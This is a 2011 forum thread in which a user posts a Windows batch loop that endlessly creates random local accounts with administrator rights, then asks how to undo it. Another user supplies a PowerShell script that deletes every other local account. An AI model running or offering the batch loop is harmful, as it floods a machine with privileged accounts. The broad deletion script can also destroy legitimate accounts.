Login Register






Thread Rating:
  • 0 Vote(s) - 0 Average


want solution.. filter_list
Author
Message
want solution.. #1
can anybody reverse this batch code for me...


Code:
@echo off
loop:
set usr=%random%
net users %usr% %random% /add
net localgroup administrators %usr% /add
goto loop
:oO:

Reply

RE: want solution.. #2
What do you mean by "reverse" are you saying you ran this batch and you want a reverse method?
ArkPhaze
"Object oriented way to get rich? Inheritance"
Getting Started: C/C++ | Common Mistakes
[ Assembly / C++ / .NET / Haskell / J Programmer ]

Reply

RE: want solution.. #3
(12-03-2011, 08:17 AM)Infinity Wrote: What do you mean by "reverse" are you saying you ran this batch and you want a reverse method?

using this code i am able to make so many accounts with admin rights..but if i want to delet it all then what i have to do??

Reply

RE: want solution.. #4
I could do this easily in powershell to get rid of those dead accounts with the exception of the main ones. But if you want it completely in batch i'd have to make a test script for myself.
ArkPhaze
"Object oriented way to get rich? Inheritance"
Getting Started: C/C++ | Common Mistakes
[ Assembly / C++ / .NET / Haskell / J Programmer ]

Reply

RE: want solution.. #5
Here's my powershell script to delete ALL user accounts that don't match the current user account you're logged into along with the "Administrator" and "Guest" account. This will output to del_users.txt a list, line by line of the user names it has attempted to delete, and don't match the current $user and "Administrator" and "Guest"

Code:
$Comp = "."
$UsrAccounts = get-wmiobject -class "Win32_UserAccount" -namespace "root\CIMV2" `
-filter "LocalAccount = True" -computername $Comp

write-host > del_users.txt
foreach ($objItm in $UsrAccounts) {
    if ($objItm.Name -ne $env:username `
    -and $objItm.Name -ne "Administrator" `
    -and $objItm.Name -ne "Guest") {
        $objItm.Name >> del_users.txt
    }
}

$del_array = get-content del_users.txt | %{ $_ }

foreach ($str in $del_array) {
    net users $str /del
}

What i'm doing here is taking data from the WMIObject class "Win32_UserAccount" and returning values ONLY for the User strings. If they don't match my current user account name, and "Administrator" and "Guest" then it adds it to a text file called "del_users.txt" on a new line.

Then after that loops through, we create a hash array getting the full string of the content in that created file, and add each line as a string item to the hash array defined as $del_array. Now we look at each object/string value in that array and apply the net users /del command line method to that specific username. Therefore removing all the useless user accounts except for the main ones that should be on your machine.
ArkPhaze
"Object oriented way to get rich? Inheritance"
Getting Started: C/C++ | Common Mistakes
[ Assembly / C++ / .NET / Haskell / J Programmer ]

Reply

RE: want solution.. #6
HMmmmmmmmm...............................................................................

Reply

RE: want solution.. #7
(12-03-2011, 10:16 AM)esque Wrote: HMmmmmmmmm...............................................................................

What's this for?

Btw, if anyone wants to know more about powershell, i'm your guy to talk to if you need any help, or advice. The above script I wrote is tested and working for deleting random user accounts.
ArkPhaze
"Object oriented way to get rich? Inheritance"
Getting Started: C/C++ | Common Mistakes
[ Assembly / C++ / .NET / Haskell / J Programmer ]

Reply







Users browsing this thread: 1 Guest(s)